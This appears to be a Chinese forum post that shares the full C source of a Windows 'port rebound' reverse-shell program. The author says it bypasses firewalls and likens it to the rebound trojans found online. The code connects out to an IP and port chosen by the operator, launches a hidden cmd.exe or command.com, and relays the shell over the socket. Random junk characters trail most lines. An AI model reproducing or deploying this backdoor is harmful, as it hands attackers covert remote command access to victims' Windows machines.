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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .Ao0;:;(2-  
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/* ============================== |ng%PQq)  
Rebound port in Windows NT s@@1 *VQ  
By wind,2006/7 Ob@Hng% v  
===============================*/ BWK IbG  
#include f6ZZ}lwaV  
#include I 48VNX  
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#pragma comment(lib,"wsock32.lib") 4br6$  
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void OutputShell(); 8I#D`yVKc  
SOCKET sClient; Xa,&ef&q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^X? D#\  
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void main(int argc,char **argv) TipHV;|e  
{ W kkxU.xXE  
WSADATA stWsaData; mb1IQ &  
int nRet; xy^1US ,L1  
SOCKADDR_IN stSaiClient,stSaiServer; vOT*iax0  
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if(argc != 3) 9D_wG\g  
{ 7 `Du5>b8  
printf("Useage:\n\rRebound DestIP DestPort\n"); _/x& <,3  
return; 9M2f!kJP$  
} v*TeTA %  
WmVVR>0V|  
WSAStartup(MAKEWORD(2,2),&stWsaData); K8Zt:yP  
wq\G|/%  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \r -N(;m  
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stSaiClient.sin_family = AF_INET; ~[18q+,  
stSaiClient.sin_port = htons(0); 8&(-8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4XG]z_+I  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )/Y~6A9>  
{ f%Ke8'&  
printf("Bind Socket Failed!\n"); UxqWnHH.`  
return; Q1V2pP+=@  
} 5 si}i'in  
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stSaiServer.sin_family = AF_INET; Yn<)k_kp  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qei$<j'b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }98-5'u.X  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $ KQ,}I  
{ Auac>')&Q  
printf("Connect Error!"); Bw-s6MS  
return; K` (#K#n  
} ^KH%mSX>  
OutputShell(); u4"r>e6 _B  
} <Jwo?[a  
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void OutputShell() bXvbddu)}  
{ ,}7_[b)&V  
char szBuff[1024]; Z<]VTo  
SECURITY_ATTRIBUTES stSecurityAttributes; BjZ>hhs!*  
OSVERSIONINFO stOsversionInfo; fv ?45f  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y4<+-  
STARTUPINFO stStartupInfo; qS]G&l6QF  
char *szShell; `ue?Z%p|  
PROCESS_INFORMATION stProcessInformation; ,+-h7^{`  
unsigned long lBytesRead; \(u@F<s-  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); # #>a&,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xw(3j)xQ  
stSecurityAttributes.lpSecurityDescriptor = 0; 2oB?Dn  
stSecurityAttributes.bInheritHandle = TRUE; <7RfBR.9  
s=/^lOOO  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t-EV h~D1p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q \WXi  
VM;g +RRq  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )E~mJln  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t aV|YP$  
stStartupInfo.wShowWindow = SW_HIDE; F@^N|;_2  
stStartupInfo.hStdInput = hReadPipe; <9N4"d !A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IUawdB5CB  
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GetVersionEx(&stOsversionInfo); !E0fGh  
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switch(stOsversionInfo.dwPlatformId) )52#:27F  
{ )@$ &FFIu  
case 1: *1,=qRjL  
szShell = "command.com"; m5qCq9Y  
break; m)k-uWc$C  
default: gvr]]}h:O  
szShell = "cmd.exe"; .+uVgSN  
break; j4vB`Gr]  
} J/[7d?hI/  
.b~OMTHuvM  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Zh? V,39  
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send(sClient,szMsg,77,0); wRi~Yb?  
while(1) T>5wQYh$'  
{ @?M; 'xMbB  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ](n69XX_  
if(lBytesRead) !ABLd|tP  
{ PHQcstW  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dcP88!#5-  
send(sClient,szBuff,lBytesRead,0); w= B  
} >vxWx[fRu  
else )BpIxWd?  
{ vVdxi9yk  
lBytesRead=recv(sClient,szBuff,1024,0); .S(^roM;+  
if(lBytesRead<=0) break; ku-cn2M/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {[lx!QF 8&  
} iz(m3k:w  
}  %|bN@@  
.W-=x,`hY4  
return; pKYLAt+^>  
}
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